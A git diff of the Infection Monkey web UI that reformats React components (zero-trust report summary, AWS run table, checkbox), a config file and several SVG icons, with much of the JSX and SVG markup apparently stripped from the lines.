diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
index d34a484b9..0002ba9e0 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
@@ -21,11 +21,11 @@ export default class StatusesToPillarsSummary extends Component {
- {
- this.props.statusesToPillars[status].map((pillar) => {
- return
- })
- }
+ {
+ this.props.statusesToPillars[status].map((pillar) => {
+ return
+ })
+ }
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
index e4012bf50..0f937f341 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
@@ -14,9 +14,10 @@ export default class SummarySection extends Component {
- Get a quick glance at how your network aligns with the
- Zero Trust eXtended (ZTX) framework
- .
+ Get a quick glance at how your network aligns with the
+ Zero Trust eXtended (ZTX) framework
+ .
diff --git a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js
index 6a8fe9416..f2815a142 100644
--- a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js
+++ b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js
@@ -8,10 +8,10 @@ const columns = [
{
Header: 'Machines',
columns: [
- { Header: 'Machine', accessor: 'name'},
- { Header: 'Instance ID', accessor: 'instance_id'},
- { Header: 'IP Address', accessor: 'ip_address'},
- { Header: 'OS', accessor: 'os'}
+ {Header: 'Machine', accessor: 'name'},
+ {Header: 'Instance ID', accessor: 'instance_id'},
+ {Header: 'IP Address', accessor: 'ip_address'},
+ {Header: 'OS', accessor: 'os'}
]
}
];
@@ -44,7 +44,7 @@ class AwsRunTableComponent extends React.Component {
selection.push(key);
}
// update the state
- this.setState({ selection });
+ this.setState({selection});
};
isSelected = key => {
@@ -64,7 +64,7 @@ class AwsRunTableComponent extends React.Component {
selection.push(item._original.instance_id);
});
}
- this.setState({ selectAll, selection });
+ this.setState({selectAll, selection});
};
getTrProps = (s, r) => {
diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js
index 74204973a..f200a6fdb 100644
--- a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js
+++ b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js
@@ -15,59 +15,68 @@ class CheckboxComponent extends React.PureComponent {
this.props.name (the name of this component) and
this.state.checked (boolean indicating if this component is checked or not)
*/
- constructor(props) {
- super(props);
- this.state = {
- checked: this.props.checked,
+ constructor(props) {
+ super(props);
+ this.state = {
+ checked: this.props.checked,
necessary: this.props.necessary,
- isAnimating: false
- };
- this.toggleChecked = this.toggleChecked.bind(this);
- this.stopAnimation = this.stopAnimation.bind(this);
- this.composeStateClasses = this.composeStateClasses.bind(this);
- }
+ isAnimating: false
+ };
+ this.toggleChecked = this.toggleChecked.bind(this);
+ this.stopAnimation = this.stopAnimation.bind(this);
+ this.composeStateClasses = this.composeStateClasses.bind(this);
+ }
- //Toggles component.
- toggleChecked() {
- if (this.state.isAnimating) {return false;}
- this.setState({
- checked: !this.state.checked,
- isAnimating: true,
- }, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null});
- }
+ //Toggles component.
+ toggleChecked() {
+ if (this.state.isAnimating) {
+ return false;
+ }
+ this.setState({
+ checked: !this.state.checked,
+ isAnimating: true,
+ }, () => {
+ this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null
+ });
+ }
- // Stops ping animation on checkbox after click
- stopAnimation() {
- this.setState({ isAnimating: false })
- }
+ // Stops ping animation on checkbox after click
+ stopAnimation() {
+ this.setState({isAnimating: false})
+ }
- // Creates class string for component
- composeStateClasses(core) {
- let result = core;
- if (this.state.necessary){
+ // Creates class string for component
+ composeStateClasses(core) {
+ let result = core;
+ if (this.state.necessary) {
return result + ' blocked'
}
- if (this.state.checked) { result += ' is-checked'; }
- else { result += ' is-unchecked' }
+ if (this.state.checked) {
+ result += ' is-checked';
+ } else {
+ result += ' is-unchecked'
+ }
- if (this.state.isAnimating) { result += ' do-ping'; }
- return result;
- }
+ if (this.state.isAnimating) {
+ result += ' do-ping';
+ }
+ return result;
+ }
- render() {
- const cl = this.composeStateClasses('ui-checkbox-btn');
- return (
-
-
-
{ this.props.children }
-
-
- )
- }
+ render() {
+ const cl = this.composeStateClasses('ui-checkbox-btn');
+ return (
+
+
+
{this.props.children}
+
+
+ )
+ }
}
export default CheckboxComponent;
diff --git a/monkey/monkey_island/cc/ui/src/config/base.js b/monkey/monkey_island/cc/ui/src/config/base.js
index 65b6aff99..bea121a3c 100644
--- a/monkey/monkey_island/cc/ui/src/config/base.js
+++ b/monkey/monkey_island/cc/ui/src/config/base.js
@@ -1,5 +1,4 @@
'use strict';
// Settings configured here will be merged into the final config object.
-export default {
-}
+export default {}
diff --git a/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg
index 3a357890d..ee2d9cda0 100644
--- a/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg
+++ b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg
@@ -2,30 +2,45 @@
14cbedff-3eed-4f8f-abb7-fffe92867ded
-
-
-
-
-
-
+
+
+
+
+
+
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
-
+
diff --git a/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg
index 837610f28..5e91edec1 100644
--- a/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg
+++ b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg
@@ -2,7 +2,7 @@
@@ -10,8 +10,11 @@
-
-
-
+
+
+
diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
index 507541be4..341223590 100644
--- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
+++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
@@ -1 +1,13 @@
-im-alert-machine-icon
\ No newline at end of file
+
+ im-alert-machine-icon
+
+
+
+
+
+
+
+
+
+
diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
index 50dcc6726..0951d7ae2 100644
--- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
+++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
@@ -1 +1,23 @@
-im-alert-network-icon
\ No newline at end of file
+
+ im-alert-network-icon
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/monkey/monkey_island/cc/ui/src/index.html b/monkey/monkey_island/cc/ui/src/index.html
index 3e7028fc1..38b0c114d 100644
--- a/monkey/monkey_island/cc/ui/src/index.html
+++ b/monkey/monkey_island/cc/ui/src/index.html
@@ -8,6 +8,6 @@
-
+